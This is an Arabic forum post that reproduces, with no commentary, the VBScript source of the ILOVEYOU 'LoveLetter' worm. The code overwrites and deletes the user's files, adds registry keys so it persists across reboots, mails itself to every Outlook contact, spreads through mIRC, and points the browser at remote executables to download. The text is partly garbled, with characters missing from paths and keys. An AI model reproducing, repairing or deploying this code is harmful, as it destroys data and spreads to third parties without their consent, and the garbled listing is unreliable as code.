|489| : فايروس الحب
rem barok -loveletter(vbe) <i hate go to school>rem by: spyder /
[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط] / @grammersoft group /
Manila,Philippines
On
Error Resume Next
Dim
fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,d ow
eq=""
ctr=0
Set
fso = CreateObject("scripting.FileSystemObject")
Set
file = fso.OpenTextFile(Wscript.scriptFullname,1)
vbscopy=file.ReadAll
main()
Sub
main()
On Error Resume Next
Dim
wscr,rr
Set
wscr=CreateObject("Wscript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\oftware\icrosof t\indows scripting
Host\ettings\imeout")
If (rr>=1) Then
wscr.RegWrite "HKEY_CURRENT_USER\oftware\icrosoft\indows scripting
Host\ettings\imeout",0,"REG_DWORD"
End If
Set
dirwin = fso.GetSpecialFolder(0)
Set
dirsystem = fso.GetSpecialFolder(1)
Set
dirtemp = fso.GetSpecialFolder(2)
Set
c = fso.GetFile(Wscript.scriptFullName)
c.Copy(dirsystem&"\SKernel32.vbs")
c.Copy(dirwin&"\in32DLL.vbs")
c.Copy(dirsystem&"\OVE-LETTER-FOR-YOU.TXT.vbs")
regruns()
html()
spreadtoemail()
listadriv()
End Sub
Sub
regruns()
On Error Resume Next
Dim
num,downread
regcreate
"HKEY_LOCAL_MACHINE\oftware\icrosoft\indows\urrent Version\un\SKernel32
",dirsystem&"\SKernel32.vbs"
regcreate
"HKEY_LOCAL_MACHINE\oftware\icrosoft\indows\urrent Version\unServices\i
n32DLL",dirwin&"\in32DLL.vbs"
downread=""
downread=regget("HKEY_CURRENT_USER\oftware\icrosof t\nternet
Explorer\ownload Directory")
If (downread="") Then
downread="c:\
End If
If (fileexist(dirsystem&"\inFAT32.exe")=1) Then
Randomize
num = Int((4 * Rnd) + 1)
If num = 1 Then
regcreate "HKCU\oftware\icrosoft\nternet Explorer\ain\tart
Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnj
w6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
ElseIf num = 2 Then
regcreate "HKCU\oftware\icrosoft\nternet Explorer\ain\tart
Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe
546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
ElseIf num = 3 Then
regcreate "HKCU\oftware\icrosoft\nternet Explorer\ain\tart
Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnm
POhfgER67b3Vbvg/WIN-BUGSFIX.exe"
ElseIf num = 4 Then
regcreate "HKCU\oftware\icrosoft\nternet Explorer\ain\tart
Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkh
YUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237 461234iuy7thjg/WIN-BUGSFIX
.exe"
End If
End If
If (fileexist(downread&"\IN-BUGSFIX.exe")=0) Then
regcreate
"HKEY_LOCAL_MACHINE\oftware\icrosoft\indows\urrent Version\un\IN-BUGSFI
X",downread&"\IN-BUGSFIX.exe"
regcreate "HKEY_CURRENT_USER\oftware\icrosoft\nternet Explorer\ain\tart
Page","about_:blank"
End If
End Sub
Sub
listadriv
On Error Resume Next
Dim
d,dc,s
Set
dc = fso.Drives
For Each d In
dc
If d.DriveType = 2 Or d.DriveType=3 Then
folderlist(d.path&"\)
End If
Next
listadriv = s
End Sub
Sub
infectfiles(folderspec)
On Error Resume Next
Dim
f,f1,fc,ext,ap,mircfname,s,bname,mp3
Set
f = fso.GetFolder(folderspec)
Set
fc = f.Files
For Each f1 In
fc
ext=fso.GetExtensionName(f1.path)
ext=LCase(ext)
s=LCase(f1.
Name
)
If (ext="vbs") Or (ext="vbe") Then
Set ap=fso.OpenTextFile(f1.path,2,True
)
ap.write vbscopy
ap.
Close
ElseIf(ext="js") Or (ext="jse") Or (ext="css") Or (ext="wsh") Or
(ext="sct")
Or (ext="hta") Then
Set ap=fso.OpenTextFile(f1.path,2,True
)
ap.write vbscopy
ap.
Close
bname=fso.GetBaseName(f1.path)
Set
cop=fso.GetFile(f1.path)
cop.copy(folderspec&"\&bname&".vbs")
fso.DeleteFile(f1.path)
ElseIf(ext="jpg") Or (ext="jpeg") Then
Set ap=fso.OpenTextFile(f1.path,2,True
)
ap.write vbscopy
ap.
Close
Set
cop=fso.GetFile(f1.path)
cop.copy(f1.path&".vbs")
fso.DeleteFile(f1.path)
ElseIf(ext="mp3") Or (ext="mp2") Then
Set
mp3=fso.CreateTextFile(f1.path&".vbs")
mp3.write vbscopy
mp3.
Close
Set
att=fso.GetFile(f1.path)
att.attributes=att.attributes+2
End If
If (eq<>folderspec) Then
If (s="mirc32.exe") Or (s="mlink32.exe") Or (s="mirc.ini") Or
(s="script.ini") Or (s="mirc.hlp") Then
Set
scriptini=fso.CreateTextFile(folderspec&"\cript.in i")
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC script"
scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt,
if mIRC will"
scriptini.WriteLine " corrupt... WINDOWS will affect and will not run
correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com"
scriptini.WriteLine ";"
scriptini.WriteLine "n0=on 1:JOIN:#:{
scriptini.WriteLine "n1= /if ( $nick == $me ) {halt }
scriptini.WriteLine "n2= /.dcc send $nick
"&dirsystem&"\OVE-LETTER-FOR-YOU.HTM"
scriptini.WriteLine "n3=}
scriptini.
Close
eq=folderspec
End If
End If
Next
End Sub
Sub
folderlist(folderspec)
On Error Resume Next
Dim
f,f1,sf
Set
f = fso.GetFolder(folderspec)
Set
sf = f.SubFolders
For Each f1 In
sf
infectfiles(f1.path)
folderlist(f1.path)
Next
End Sub
Sub
regcreate(regkey,regvalue)
Set
regedit = CreateObject("Wscript.Shell")
regedit.RegWrite regkey,regvalue
End Sub
Function
regget(value)
Set
regedit = CreateObject("Wscript.Shell")
regget=regedit.RegRead(value)
End Function
Function
fileexist(filespec)
On Error Resume Next
Dim
msg
If (fso.FileExists(filespec)) Then
msg = 0
Else
msg = 1
End If
fileexist = msg
End Function
Function
folderexist(folderspec)
On Error Resume Next
Dim
msg
If (fso.GetFolderExists(folderspec)) Then
msg = 0
Else
msg = 1
End If
fileexist = msg
End Function
Sub
spreadtoemail()
On Error Resume Next
Dim
x,a,ctrlists,ctrentries,malead,b,regedit,regv,rega d
Set
regedit=CreateObject("Wscript.Shell")
Set
out=Wscript.CreateObject("Outlook.Application")
Set
mapi=out.GetNameSpace("MAPI")
For ctrlists=1 To
mapi.AddressLists.Count
Set
a=mapi.AddressLists(ctrlists)
x=1
regv=regedit.RegRead("HKEY_CURRENT_USER\oftware\ic rosoft\AB\&a)
If (regv="") Then
regv=1
End If
If (Int(a.AddressEntries.Count)>Int(regv)) Then
For ctrentries=1 To
a.AddressEntries.Count
malead=a.AddressEntries(x)
regad=""
regad=regedit.RegRead("HKEY_CURRENT_USER\oftware\i crosoft\AB\&malead)
If (regad="") Then
Set
male=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "ILOVEYOU"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
male.Attachments.Add(dirsystem&"\OVE-LETTER-FOR-YOU.TXT.vbs")
male.Send
regedit.RegWrite
"HKEY_CURRENT_USER\oftware\icrosoft\AB\&malead,1," REG_DWORD"
End If
x=x+1
Next
regedit.RegWrite
"HKEY_CURRENT_USER\oftware\icrosoft\AB\&a,a.Addres sEntries.Count
Else
regedit.RegWrite
"HKEY_CURRENT_USER\oftware\icrosoft\AB\&a,a.Addres sEntries.Count
End If
Next
Set out=Nothing
Set mapi=Nothing
End Sub
Sub
html
On Error Resume Next
Dim
lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META
NAME=@-@Generator@-@ &@#&@#&@#&@#&@#&@#&@#=@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& _
"<META NAME=@-@Author@-@ &@#&@#&@#&@#&@#&@#&@#=@-@spyder ?-?
[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط] ?-?
@GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _
"<META NAME=@-@Description@-@ &@#&@#&@#&@#&@#&@#&@#=@-@simple but i think this is
good...@-@>"&vbcrlf& _
"<?-?HEAD><BODY
ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#
-#,#-#main#-#)@-@ "&vbcrlf& _
"ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#
-#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _
"<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read
this HTML file<BR>- Please press #-#YES#-# button to Enable
ActiveX<?-?p>"&vbcrlf& _
"<?-?CENTER><MARQUEE LOOP=@-@infinite@-@
BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQUEE>
"&vbcrlf& _
"<?-?BODY><?-?HTML>"&vbcrlf& _
"<script language=@-@Jscript@-@>"&vbcrlf& _
"<!--?-??-?"&vbcrlf& _
"if (window.screen){ar wi=screen.availWidth;var
hi=screen.availHeight;window.moveTo(0,0);window.re sizeTo(wi,hi);}&vbcrlf& _
"?-??-?-->"&vbcrlf& _
"<?-?script>"&vbcrlf& _
"<script LANGUAGE=@-@VBscript@-@>"&vbcrlf& _
"<!--"&vbcrlf& _
"on error resume next"&vbcrlf& _
"dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit "&vbcrlf& _
"aw=1"&vbcrlf& _
"code="
dta2="set fso=CreateObject(@-@scripting.FileSystemObject@-@)"&vbcrlf& _
"set dirsystem=fso.GetSpecialFolder(1)"&vbcrlf& _
"code2=replace(code,chr(91)&chr(45)&chr(91),chr(39 ))"&vbcrlf& _
"code3=replace(code2,chr(93)&chr(45)&chr(93),chr(3 4))"&vbcrlf& _
"code4=replace(code3,chr(37)&chr(45)&chr(37),chr(9 2))"&vbcrlf& _
"set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf& _
"wri.write code4"&vbcrlf& _
"wri.close"&vbcrlf& _
"if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf& _
"if (err.number=424) then"&vbcrlf& _
"aw=0"&vbcrlf& _
"end if"&vbcrlf& _
"if (aw=1) then"&vbcrlf& _
"document.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _
"window.close"&vbcrlf& _
"end if"&vbcrlf& _
"end if"&vbcrlf& _
"Set regedit = CreateObject(@-@Wscript.Shell@-@)"&vbcrlf& _
"regedit.RegWrite
@-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^-^Ru
n^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@"&vbcrlf& _
"?-??-?-->"&vbcrlf& _
"<?-?script>"
dt1=replace(dta1,Chr(35)&Chr(45)&Chr(35),"'")
dt1=replace(dt1,Chr(64)&Chr(45)&Chr(64),"""")
dt4=replace(dt1,Chr(63)&Chr(45)&Chr(63),"/")
dt5=replace(dt4,Chr(94)&Chr(45)&Chr(94),"\)
dt2=replace(dta2,Chr(35)&Chr(45)&Chr(35),"'")
dt2=replace(dt2,Chr(64)&Chr(45)&Chr(64),"""")
dt3=replace(dt2,Chr(63)&Chr(45)&Chr(63),"/")
dt6=replace(dt3,Chr(94)&Chr(45)&Chr(94),"\)
Set
fso=CreateObject("scripting.FileSystemObject")
Set
c=fso.OpenTextFile(Wscript.scriptFullName,1)
lines=Split(c.ReadAll,vbcrlf)
l1=
UBound
(lines)
For n=0 To UBound
(lines)
lines(n)=replace(lines(n),"'",Chr(91)+Chr(45)+Chr( 91))
lines(n)=replace(lines(n),"""",Chr(93)+Chr(45)+Chr (93))
lines(n)=replace(lines(n),"\,Chr(37)+Chr(45)+Chr(3 7))
If (l1=n) Then
lines(n)=Chr(34)+lines(n)+Chr(34)
Else
lines(n)=Chr(34)+lines(n)+Chr(34)&"&vbcrlf& _"
End If
Next
Set
b=fso.CreateTextFile(dirsystem+"\OVE-LETTER-FOR-YOU.HTM")
b.
Close
Set
d=fso.OpenTextFile(dirsystem+"\OVE-LETTER-FOR-YOU.HTM",2)
d.write dt5
d.write join(lines,vbcrlf)
d.write vbcrlf
d.write dt6
d.
Close
End Sub
الأحد أبريل 21, 2019 7:11 pm من طرف 
